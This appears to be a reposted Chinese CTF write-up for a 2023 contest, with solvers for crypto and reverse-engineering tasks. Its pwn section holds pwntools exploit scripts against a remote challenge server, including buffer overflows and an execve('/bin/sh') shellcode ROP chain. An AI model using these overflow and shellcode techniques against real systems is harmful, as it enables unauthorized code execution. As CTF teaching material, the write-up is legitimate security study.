[Incognito 4.0] ictf 2023

news2024/11/15 9:47:43

一周4赛,有点赶不过来呀。

只做了一点,队长组队的时候

(每次都中间断掉,一大堆写的都得从头来)

Crypto

Ancient

这样的第2次见,第1次就不会,这回看了队友wp终于知道是怎么加密的了

Templed

每个符号可以表示4位10进制数。

原题

这个手工搓出来

bytes([105,99,116,102,123,48,108,100,95,109,48,110,107,95,49,57,48,100,101,49,99,51,125])
#b'ictf{0ld_m0nk_190de1c3}'

原来不会的那个题是这样

这个4位连一起组成个大数字(每个符号4位前补0)再long_to_bytes

c2

这个就简单了,就是个替换

#flag = "" #redacted
#flag = flag[:15]

def func(f, i):
    if i<5:
        out = ord(f) ^ 0x76 ^ 0xAD
        var1 = (out & 0xAA) >> 1
        var2 = 2 * out & 0xAA
        return var1 | var2 
    elif i>=5 and i<10:
        out = ord(f) ^ 0x76 ^ 0xBE
        var1 = (out & 0xCC) >> 2
        var2 = 4 * out & 0xCC
        return var1 | var2
    else:
        out = ord(f) ^ 0x76 ^ 0xEF
        var1 = (out & 0xF0) >> 4
        var2 = 16 * out & 0xF0
        return var1 | var2

res = ''
for i in range(15):
    res += chr(func(flag[i], i))
f = open('result','w')
f.write(res)
f.close()

只是这出来的比128大,存的时候存成utf8需要处理一下

flag = ''
res = open('result','rb').read()
i=0
rr = []
while i<len(res):
    if res[i]>=0xc0:
        rr.append( ((res[i]&0x1f)<<6)|(res[i+1]&0x3f) )
        i+=2
    else:
        rr.append(res[i])
        i+=1
    print(hex(rr[-1]))
#print(len(res))
res = [0xd3, 0xd3, 0x7e, 0xd4, 0xd7, 0xa3, 0xf6, 0xae, 0xa3, 0xf6, 0x8f, 0xbf, 0xda, 0xda, 0xaa]
for i in range(15):
    for v in range(0x20, 0x100):
        if func(chr(v), i) == rr[i]:
            print(i,v)
            flag+=chr(v)
            #break

print(flag)
#88f30d1cd1ab443
#ictf{88f30d1cd1ab443}

PWN

babyFlow

溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[80]; // [esp+0h] [ebp-58h] BYREF
  int *p_argc; // [esp+50h] [ebp-8h]

  p_argc = &argc;
  puts("can you pass me?");
  gets(s);
  vulnerable_function(s);
  return 0;
}
char *__cdecl vulnerable_function(char *src)
{
  char dest[16]; // [esp+4h] [ebp-14h] BYREF

  return strcpy(dest, src);
}

这个需要到子函数里去溢出

from pwn import *

p = remote('143.198.219.171', 5000)
context(arch='i386', log_level='debug')

pay = b'A'*(0x14+4)+p32(0x80491fc)*2 #在vulnerable_function溢出
p.sendlineafter(b"can you pass me?\n", pay)

p.interactive()

#cat flag;
#ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}

Gainme

题目里有4个比较函数,手工得到结果,输入即可

from pwn import *
from Crypto.Util.number import long_to_bytes 

p = remote('143.198.219.171', 5003)
context(arch='i386', log_level='debug')

v1 = b'ICTF4'
v2 = b'dasDASQWgjtrkodsc'
v3 = p32(0xDEADBEEF)
v4 = b'1'

p.sendlineafter(b':',v1)
p.sendlineafter(b':',v2)
p.sendlineafter(b':',v3)
p.sendlineafter(b':',v4)

p.recv()

p.interactive()
#ictf{g@inm3-sf23f-4fd2150cd33db}

passme

这个不会,问的群里Sh33p 给出两个WP

程序很简单,看上去是个比较成功即可

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [esp+0h] [ebp-4Ch] BYREF
  float v5; // [esp+40h] [ebp-Ch]
  int *p_argc; // [esp+44h] [ebp-8h]

  p_argc = &argc;
  v5 = 0.0;
  puts("Enter your name: ");
  gets(s);
  if ( 17.022023 == v5 )
    print_flag();
  else
    puts("._.");
  return 0;
}

其实不是,因为v5是float类型,17.022023是double类型,比较时到转成double,所以结果只能转成17.022022或17.022024

溢出的话有个问题

.text:080492FB 83 C4 10                      add     esp, 10h
.text:080492FB
.text:080492FE
.text:080492FE                               loc_80492FE:                            ; CODE XREF: main+61↑j
.text:080492FE B8 00 00 00 00                mov     eax, 0
.text:08049303 8D 65 F8                      lea     esp, [ebp-8]
.text:08049306 59                            pop     ecx
.text:08049307 5B                            pop     ebx
.text:08049308 5D                            pop     ebp
.text:08049309 8D 61 FC                      lea     esp, [ecx-4]
.text:0804930C C3                            retn
.text:0804930C                               ; } // starts at 8049287

这里会执行ecx-4,看了WP明白了,这里虽然无法指定ecx但gets最后会加个\0,用这个\0覆盖ecx的尾字节,使指针上移。这伸直由于s的位置很长,放满print_flag大概率命中。

另一种在里边放满ret+jmp_esp+shellcode,只要上移后的位置命中ret的位置就可以滑到shellcode。

from pwn import *
elf = context.binary = ELF('passme',checksec=False)

context.log_level = "CRITICAL"

payload = p32(elf.sym.print_flag)*17

while True:
    #p = elf.process()
    p = remote('143.198.219.171', 5001)
    p.sendline(payload)
    is_flag = p.recv()
    if b'ictf{' in is_flag:
        print(is_flag)
    else:
        pass
from pwn import *

ret = 0x0804900e # ret
jmp_esp = 0x080490fb # push esp ; mov ebx, dword ptr [esp] ; ret

while True:
    # s = process('./passme')
    s = remote('143.198.219.171', 5001)

    chain = flat(
        jmp_esp,
        b'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # shellcode
    )

    rem = (68 - len(chain)) // 4

    stage1 = p32(ret) * rem
    stage1 += chain

    s.sendline(stage1)
    try:
        s.recv(timeout=0.5)
        s.recv(timeout=0.5)
    except:
        s.close()
        continue
    s.interactive()
    break

Rev

Meow

原码能看到,只是字符中间加\x00

ictf{easiest_challenge_of_them_all}

rev_this

异或爆破

from pwn import p64,xor

a = [0x6071B14091B0C06,0x70806031C1C061C,0xA0B1D0E0716031B,0x41C0E1B190A1D1D]
a = b''.join([p64(v) for v in a])

for i in range(0x100):
    print(xor(bytes([i]), a))
    
#ictf{thisisslightlyharderrevtask}

AnotherRev

一个很长的运算,用z3解决

from z3 import *

#v = [BitVec(f'v_{i}', 8) for i in range(43)]
v = [Int(f'v_{i}') for i in range(43)]

s = Solver()

for i in range(43):
    s.add(v[i]>0x20)
    s.add(v[i]<0x7f)
s.add( v[0-0x40+0x59] + v[0-0x40+0x68] == 109)
s.add( v[0-0x40+0x59]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x58]
     + v[0-0x40+0x50]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x65]
     + v[0-0x40+0x62]
     + v[0-0x40+0x49]
     + v[0-0x40+0x65]
     + v[0-0x40+0x68] == 706 )
s.add ( v[0-0x40+0x65]
     + v[0-0x40+0x55]
     + v[0-0x40+0x58]
     + v[0-0x40+0x55]
     + v[0-0x40+0x51]
     + v[0-0x40+0x60]
     + v[0-0x40+0x45]
     + v[0-0x40+0x48]
     + v[0-0x40+0x4B]
     + v[0-0x40+0x45]
     + v[0-0x40+0x53] == 764 )
s.add ( v[0-0x40+0x54]
     + v[0]
     + v[0-0x40+0x43]
     + v[0-0x40+0x69]
     + v[0-0x40+0x68]
     + v[0-0x40+0x41]
     + v[0-0x40+0x58]
     + v[0-0x40+0x68]
     + v[0-0x40+0x42]
     + v[0-0x40+0x5A]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x55]
     + v[0-0x40+0x55]
     + v[0-0x40+0x41]
     + v[0-0x40+0x56] == 1395 )
s.add ( v[0-0x40+0x58]
     + v[0-0x40+0x47]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x61]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x5E]
     + v[0-0x40+0x59]
     + v[0-0x40+0x4A]
     + v[0-0x40+0x62]
     + v[0-0x40+0x57] == 753 )
s.add ( v[0-0x40+0x41] + v[0-0x40+0x51] + v[0-0x40+0x47] + v[0-0x40+0x45] == 261 )
s.add ( v[0-0x40+0x48]
     + v[0-0x40+0x58]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x59]
     + v[0-0x40+0x4A]
     + v[0-0x40+0x66]
     + v[0-0x40+0x5D]
     + v[0-0x40+0x5D]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x55] == 666 )
s.add ( v[0-0x40+0x4E] + v[0-0x40+0x66] + v[0-0x40+0x55] == 300 )
s.add ( v[0-0x40+0x55]
     + v[0-0x40+0x60]
     + v[0-0x40+0x68]
     + v[0-0x40+0x63]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x57]
     + v[0-0x40+0x5C]
     + v[0-0x40+0x47]
     + v[0-0x40+0x41]
     + v[0-0x40+0x48]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x60]
     + v[0-0x40+0x5D]
     + v[0-0x40+0x59]
     + v[0-0x40+0x44] == 933 )
s.add ( v[0-0x40+0x64]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x61]
     + v[0-0x40+0x68]
     + v[0-0x40+0x54]
     + v[0-0x40+0x56]
     + v[0-0x40+0x45]
     + v[0-0x40+0x5A]
     + v[0-0x40+0x60]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x62]
     + v[0-0x40+0x42]
     + v[0-0x40+0x48]
     + v[0-0x40+0x67]
     + v[0-0x40+0x52]
     + v[0-0x40+0x55] == 1168 )
s.add ( v[0-0x40+0x56]
     + v[0-0x40+0x57]
     + v[0-0x40+0x5C]
     + v[0-0x40+0x42]
     + v[0-0x40+0x58]
     + v[0-0x40+0x69]
     + v[0-0x40+0x69]
     + v[0-0x40+0x62]
     + v[0-0x40+0x69]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x54]
     + v[0-0x40+0x5C]
     + v[0-0x40+0x53]
     + v[0-0x40+0x55]
     + v[0-0x40+0x49]
     + v[0-0x40+0x50]
     + v[0-0x40+0x5E] == 1375 )
s.add ( v[0-0x40+0x63] + v[0-0x40+0x52] + v[0-0x40+0x59] + v[0-0x40+0x5D] + v[0-0x40+0x66] + v[0-0x40+0x53] + v[0-0x40+0x5E] == 409 )
s.add ( v[0-0x40+0x66]
     + v[0-0x40+0x42]
     + v[0-0x40+0x60]
     + v[0-0x40+0x50]
     + v[0-0x40+0x59]
     + v[0-0x40+0x4B]
     + v[0-0x40+0x50]
     + v[0-0x40+0x5C]
     + v[0]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x5C] == 765 )
s.add ( v[0-0x40+0x54]
     + v[0-0x40+0x58]
     + v[0-0x40+0x52]
     + v[0-0x40+0x58]
     + v[0-0x40+0x59]
     + v[0-0x40+0x5C]
     + v[0-0x40+0x66]
     + v[0-0x40+0x44]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x66]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x57] == 902 )
s.add ( v[0-0x40+0x44] + v[0-0x40+0x68] == 178 )
s.add ( v[0-0x40+0x5B]
     + v[0-0x40+0x5D]
     + v[0-0x40+0x59]
     + v[0-0x40+0x65]
     + v[0-0x40+0x57]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x5A]
     + v[0-0x40+0x4A]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x50]
     + v[0-0x40+0x61]
     + v[0-0x40+0x43]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x41]
     + v[0-0x40+0x5F] == 1513 )
s.add ( v[0-0x40+0x46] + v[0-0x40+0x4A] + v[0-0x40+0x68] == 165 )
s.add ( v[0-0x40+0x51]
     + v[0-0x40+0x41]
     + v[0-0x40+0x68]
     + v[0-0x40+0x62]
     + v[0-0x40+0x48]
     + v[0-0x40+0x4B]
     + v[0-0x40+0x65]
     + v[0-0x40+0x50]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x4A] == 653 )
s.add ( v[0-0x40+0x67]
     + v[0-0x40+0x5E] 
     + v[0-0x40+0x44] 
     + v[0-0x40+0x56] 
     + v[0-0x40+0x47] 
     + v[0-0x40+0x5D] 
     + v[0-0x40+0x57] 
     + v[0-0x40+0x58] 
     + v[0-0x40+0x64] 
     + v[0-0x40+0x5D] 
     + v[0-0x40+0x60] 
     + v[0-0x40+0x5C] 
     + v[0-0x40+0x49] 
     + v[0-0x40+0x44] 
     + v[0-0x40+0x68] 
     + v[0-0x40+0x4C] 
     + v[0-0x40+0x68] 
     + v[0-0x40+0x53] 
     + v[0-0x40+0x63] == 1266 )
s.add ( v[0-0x40+0x5C] + v[0-0x40+0x66] + v[0-0x40+0x55] + v[0-0x40+0x66] + v[0-0x40+0x5A] + v[0-0x40+0x58] + v[0-0x40+0x42] + v[0-0x40+0x60] == 711 )
s.add ( v[0-0x40+0x67]
     + v[0-0x40+0x41]
     + v[0-0x40+0x4B]
     + v[0-0x40+0x49]
     + v[0-0x40+0x44]
     + v[0-0x40+0x4F]
     + v[0-0x40+0x41]
     + v[0-0x40+0x49]
     + v[0-0x40+0x63]
     + v[0-0x40+0x55]
     + v[0-0x40+0x53]
     + v[0-0x40+0x59]
     + v[0-0x40+0x57]
     + v[0-0x40+0x68]
     + v[0]
     + v[0-0x40+0x53]
     + v[0-0x40+0x67] == 1294 )
s.add ( v[0-0x40+0x44]
     + v[0-0x40+0x5A]
     + v[0-0x40+0x41]
     + v[0-0x40+0x49]
     + v[0-0x40+0x54]
     + v[0-0x40+0x54]
     + v[0-0x40+0x52]
     + v[0-0x40+0x65]
     + v[0-0x40+0x59]
     + v[0-0x40+0x4F]
     + v[0-0x40+0x65]
     + v[0-0x40+0x48]
     + v[0-0x40+0x4F]
     + v[0-0x40+0x42]
     + v[0-0x40+0x5C]
     + v[0-0x40+0x4A]
     + v[0-0x40+0x63]
     + v[0-0x40+0x68]
     + v[0-0x40+0x69] == 1485 )
s.add ( v[0-0x40+0x5E] + v[0-0x40+0x50] == 100 )
s.add ( v[0-0x40+0x56]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x45]
     + v[0-0x40+0x69]
     + v[0-0x40+0x63]
     + v[0-0x40+0x50]
     + v[0-0x40+0x57]
     + v[0-0x40+0x47]
     + v[0]
     + v[0-0x40+0x4F]
     + v[0-0x40+0x46]
     + v[0-0x40+0x45]
     + v[0-0x40+0x4F] == 945 )
s.add ( v[0-0x40+0x4C]
     + v[0]
     + v[0-0x40+0x67]
     + v[0-0x40+0x56]
     + v[0-0x40+0x52]
     + v[0-0x40+0x60]
     + v[0-0x40+0x43]
     + v[0]
     + v[0-0x40+0x41]
     + v[0-0x40+0x64]
     + v[0-0x40+0x58]
     + v[0-0x40+0x59]
     + v[0-0x40+0x56]
     + v[0-0x40+0x61]
     + v[0-0x40+0x48]
     + v[0-0x40+0x44] == 1327 )
s.add ( v[0-0x40+0x5E]
     + v[0-0x40+0x67]
     + v[0-0x40+0x57]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x69]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x56]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x47]
     + v[0-0x40+0x42]
     + v[0-0x40+0x46]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x42]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x48]
     + v[0-0x40+0x57]
     + 2 * v[0-0x40+0x59]
     + v[0-0x40+0x68] == 1370 )
s.add ( v[0-0x40+0x55] + v[0-0x40+0x5D] + v[0-0x40+0x42] + v[0-0x40+0x54] + v[0-0x40+0x5E] + v[0-0x40+0x68] == 426 )
s.add ( v[0-0x40+0x4A]
     + v[0-0x40+0x63]
     + v[0-0x40+0x52]
     + v[0-0x40+0x4F]
     + v[0-0x40+0x47]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x53]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x4B]
     + v[0-0x40+0x49]
     + v[0-0x40+0x55]
     + v[0-0x40+0x68]
     + v[0-0x40+0x43]
     + v[0-0x40+0x66]
     + v[0-0x40+0x43]
     + v[0-0x40+0x55]
     + v[0-0x40+0x50]
     + v[0-0x40+0x5A] == 1329 )
s.add ( v[0-0x40+0x46]
     + v[0-0x40+0x67]
     + v[0]
     + v[0-0x40+0x41]
     + v[0-0x40+0x53]
     + v[0-0x40+0x62]
     + v[0-0x40+0x56]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x69]
     + v[0-0x40+0x65]
     + v[0-0x40+0x44]
     + v[0-0x40+0x65] == 1199 )
s.add ( v[0-0x40+0x53]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x4A]
     + v[0-0x40+0x5A]
     + v[0-0x40+0x4B]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x5C]
     + v[0-0x40+0x46]
     + v[0-0x40+0x62]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x44]
     + v[0-0x40+0x46]
     + v[0-0x40+0x4C]
     + v[0]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x57]
     + v[0-0x40+0x46]
     + v[0-0x40+0x69]
     + v[0-0x40+0x43] == 1470 )
s.add ( v[0-0x40+0x43] + v[0-0x40+0x50] + v[0-0x40+0x4A] == 206 )
s.add ( v[0-0x40+0x5D] + v[0-0x40+0x61] + v[0-0x40+0x68] + v[0-0x40+0x60] + v[0-0x40+0x5B] + v[0-0x40+0x4C] + v[0-0x40+0x47] == 470 )
s.add ( v[0-0x40+0x63]
     + v[0-0x40+0x50]
     + v[0-0x40+0x56]
     + v[0-0x40+0x60]
     + v[0-0x40+0x60]
     + v[0-0x40+0x51]
     + v[0-0x40+0x5D]
     + v[0-0x40+0x45]
     + v[0-0x40+0x42]
     + v[0-0x40+0x4A]
     + v[0-0x40+0x53]
     + v[0-0x40+0x44]
     + v[0-0x40+0x56]
     + v[0-0x40+0x56]
     + v[0-0x40+0x54]
     + v[0-0x40+0x50]
     + v[0-0x40+0x62]
     + v[0-0x40+0x4C]
     + v[0-0x40+0x53] == 1302 )
s.add ( v[0-0x40+0x69]
     + v[0-0x40+0x45]
     + v[0-0x40+0x4E]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x65]
     + v[0-0x40+0x49]
     + v[0-0x40+0x67]
     + v[0-0x40+0x5B]
     + v[0-0x40+0x4A]
     + v[0-0x40+0x62]
     + v[0-0x40+0x62] == 936 )
s.add ( v[0-0x40+0x45] + v[0-0x40+0x49] + v[0-0x40+0x44] == 234 )
s.add ( v[0-0x40+0x41]
     + v[0-0x40+0x62]
     + v[0-0x40+0x65]
     + v[0-0x40+0x67]
     + v[0-0x40+0x42]
     + v[0-0x40+0x52]
     + v[0-0x40+0x60]
     + v[0-0x40+0x68]
     + v[0-0x40+0x5A]
     + v[0-0x40+0x43]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x61]
     + v[0-0x40+0x61] == 1116 )
s.add ( v[0-0x40+0x49]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x50]
     + v[0-0x40+0x41]
     + v[0-0x40+0x4F]
     + v[0-0x40+0x5D]
     + v[0-0x40+0x44]
     + v[0-0x40+0x56]
     + v[0-0x40+0x43]
     + v[0-0x40+0x4B] == 777 )
s.add ( v[0-0x40+0x5C] + v[0-0x40+0x67] + v[0-0x40+0x60] + v[0-0x40+0x62] + v[0-0x40+0x47] + v[0-0x40+0x52] == 394 )
s.add ( v[0-0x40+0x5E]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x48]
     + v[0-0x40+0x58]
     + v[0-0x40+0x53]
     + v[0-0x40+0x5F]
     + v[0-0x40+0x50]
     + v[0-0x40+0x46]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x5E]
     + v[0-0x40+0x5D]
     + v[0] == 705 )
s.add ( v[0-0x40+0x41] + v[0-0x40+0x4E] == 200 )
s.add ( v[0-0x40+0x4C]
     + v[0-0x40+0x52]
     + v[0-0x40+0x45]
     + v[0-0x40+0x51]
     + v[0-0x40+0x5D]
     + v[0-0x40+0x65]
     + v[0-0x40+0x4D]
     + v[0-0x40+0x61]
     + v[0-0x40+0x65]
     + v[0-0x40+0x58]
     + v[0-0x40+0x63]
     + v[0-0x40+0x5C]
     + v[0-0x40+0x62]
     + v[0-0x40+0x66]
     + v[0-0x40+0x61]
     + v[0] == 1198 )
s.add ( v[0-0x40+0x4E] + v[0-0x40+0x64] + v[0-0x40+0x4C] + v[0-0x40+0x4D] + v[0-0x40+0x54] == 295 )

if s.check() == sat:
    d = s.model()
    f = ''
    for i in range(43):
        f+= chr(d[v[i]].as_long())
    
    print(f)

#ictf{86947833-ef01-42cb-a6fe-6414da40edb7}!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/357777.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

〖产品思维训练白宝书 - 核心竞争力篇⑭〗- 产品经理核心竞争力解读之学习能力

大家好&#xff0c;我是 哈士奇 &#xff0c;一位工作了十年的"技术混子"&#xff0c; 致力于为开发者赋能的UP主, 目前正在运营着 TFS_CLUB社区。 &#x1f4ac; 人生格言&#xff1a;优于别人,并不高贵,真正的高贵应该是优于过去的自己。&#x1f4ac; &#x1f4e…

路径规划 | 图解跳点搜索JPS算法(附ROS C++/Python/Matlab仿真)

目录0 专栏介绍1 A*算法的弊端2 跳点搜索算法2.1 自然与强制邻点2.2 跳点剪枝策略3 算法仿真与实现3.1 算法流程3.2 ROS C实现3.3 Python实现3.4 Matlab实现0 专栏介绍 &#x1f525;附C/Python/Matlab全套代码&#x1f525;课程设计、毕业设计、创新竞赛必备&#xff01;详细…

2. Unity操作基础知识

1. 创建新项目 双击打开 unity hub管理器&#xff0c;点击左侧栏中的 项目 选项卡&#xff0c;在右上角点击 新项目 按钮&#xff0c;进入项目创建页面&#xff1a; 在项目创建页面中&#xff0c;选择合适的模板&#xff0c;并设置项目名称&#xff0c;选择项目保存位置&…

【郭东白架构课 模块一:生存法则】12|法则五:如何提升一个架构设计的外部适应性?

你好&#xff0c;我是郭东白。 上节课我们讲了外部适应性这个概念&#xff0c;也强调了架构师的职责是通过架构活动为企业不断注入外部适应性&#xff0c;从而帮助企业更好地实现它的战略意图。 那么该怎么注入呢&#xff1f; 上节课在讲影响技术体系外部适应性的因素这部分…

MYSQL---第四次索引视图

学生表&#xff1a;Student (Sno, Sname, Ssex , Sage, Sdept) 学号&#xff0c;姓名&#xff0c;性别&#xff0c;年龄&#xff0c;所在系 Sno为主键 课程表&#xff1a;Course (Cno, Cname,) 课程号&#xff0c;课程名 Cno为主键 学生选课表&#xff1a;SC (…

AtCoder Beginner Contest 290 A-E F只会n^2

ABC比较简单就不再复述 D - Marking 简要题意 &#xff1a;给你一个长度为nnn的数组,下标为0到n−10 到 n-10到n−1&#xff0c;最初指针位于0,重复执行n-1次操作&#xff0c;每次操作的定义为将当前指针加上ddd&#xff0c;如果该位置为空(未填数),否则我们向右找到第一个为空…

《刀锋》读书笔记

刀锋&#xff08;毛姆长篇作品精选&#xff09;毛姆50个笔记点评认为好看的确是完美的结局。《刀锋》里面的人每个人都以自己的方式生活着。艾略特的势利&#xff0c;拉里的自由&#xff0c;伊莎贝尔的现实&#xff0c;苏珊的清醒&#xff0c;索菲的堕落&#xff0c;至于“我”…

【数据结构与算法】链表2:节点交换与删除 链表相交 环形链表

文章目录今日任务1.Leetcode24&#xff1a;两两交换链表中的节点&#xff08;1&#xff09;题目&#xff08;2&#xff09;思路&#xff08;3&#xff09;代码实现2.Leetcode19&#xff1a;删除链表的倒数第N个节点&#xff08;1&#xff09;题目&#xff08;2&#xff09;思路…

芯片架构RISC-V、X86、ARM三足鼎立

2022 年 7 月&#xff0c;RISC-V 国际基金会首席执行官 Calista Redmond 在嵌入式世界大会上宣布 RISC-V 架构处理器核的出货数量已突破 100 亿颗。 序号架构特点代表性的厂商运营机构发明时间1X86性能高&#xff0c;速度快&#xff0c;兼容性好英特尔&#xff0c;AMD英特尔197…

nginx-服务器banner泄漏风险

http { server_tokens off; # 隐藏Nginx版本号 .... }

桌面美化方案分享+环境配置记录

桌面美化方案分享环境配置记录 旧笔记本是高考结束时候买的&#xff0c;做工稀烂&#xff0c;买来当天键盘就被我敲坏了。当时送去维修&#xff0c;那边的人说暂时没货&#xff0c;要等键盘进货才能换。然后等了四年&#xff0c;键盘还没进到货。 该换了。 旧笔记本上显卡是…

【Vue3源码】第二章 effect功能的完善补充

【Vue3源码】第二章 effect功能的完善补充 前言 上一章节我们实现了effect函数的功能stop和onstop&#xff0c;这次来优化下stop功能。 优化stop功能 之前我们的单元测试中&#xff0c;stop已经可以成功停止了响应式更新&#xff08;清空了收集到的dep依赖&#xff09; st…

nginx+php-fpm整体上线k8s集群之后虚拟内存不断上涨原因排查

背景 为了可以更好的管理我们的lnmp集群&#xff0c;打算将原有的php环境整体打包成一个镜像然后上到k8s容器&#xff0c;这样可以不仅使用到k8s的快速扩缩容和管理的好处&#xff0c;而且让机器资源能更好被利用&#xff0c;减少机器数量 问题 当我们将流量从原有的php机器…

Elasticsearch的安装及常用操作

文章目录一、Elasticsearch的介绍1、Elasticsearch索引2、Elasticsearch的介绍二、Elasticsearch的安装1、安装ES服务2、安装kibana3、Docker安装ES4、Docker安装Kibana三、ES的常用操作1、索引操作2、文档操作3、域的属性3.1 index3.2 type3.3 store总结一、Elasticsearch的介…

关于云计算,我们问了ChatGPT 10个问题

ChatGPT懂云计算吗&#xff1f;前些天&#xff0c;我们问了ChatGPT&#xff08;非Plus收费版&#xff09;一些问题。1. 什么是云计算&#xff1f;2. 云计算行业的护城河是什么&#xff1f;3. 什么是云原生&#xff1f;4. 微软Azure与亚马逊AWS的主要区别是什么&#xff1f;5. 为…

你真的会做APP UI自动化测试吗?我敢打赌百分之九十的人都不知道这个思路

目录 前言 一&#xff0c;开发语言选择 二&#xff0c;UI测试框架选择 1&#xff0c;Appium 2&#xff0c;Airtest 3&#xff0c;选择框架 三&#xff0c;单元测试框架选择 四&#xff0c;测试环境搭建 1&#xff0c;测试电脑选择 2&#xff0c;测试手机选择 3&#…

6.关于系统服务的思考—— native vs java

文章目录native服务 以sensor service为例Native 服务java 服务&#xff0c; 以vibrate为例java 服务 以一个demo为例native服务 以sensor service为例 service启动 SystemServer.startBootstrapServices---->>>mSystemServiceManager.startService—>>>Sen…

SQL语句创建视图:

前言 &#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;推荐专栏: &#x1f354;&#x1f35f;&#x1f32f; c语言初阶 &#x1f511;个人信条: &#x1f335;知行合一 &#x1f349;本篇简介:>:介绍数据库中有关视图的知识,参考学校作业. 金句分享:…

基于SpringBoot的在线文档管理系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7/8.0 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.3.9 浏…

进程-操作系统结构

进程-操作系统结构 中文仅本人理解&#xff0c;有错误请联系我。 操作系统为不同方面服务&#xff0c;有不同的设计角度。 为用户&#xff1a; 使用 为程序员&#xff1a;创造 程序员需要关注的就是system call接口的调度 file systems&#xff1a;ntfs&#xff0c;ext4 commu…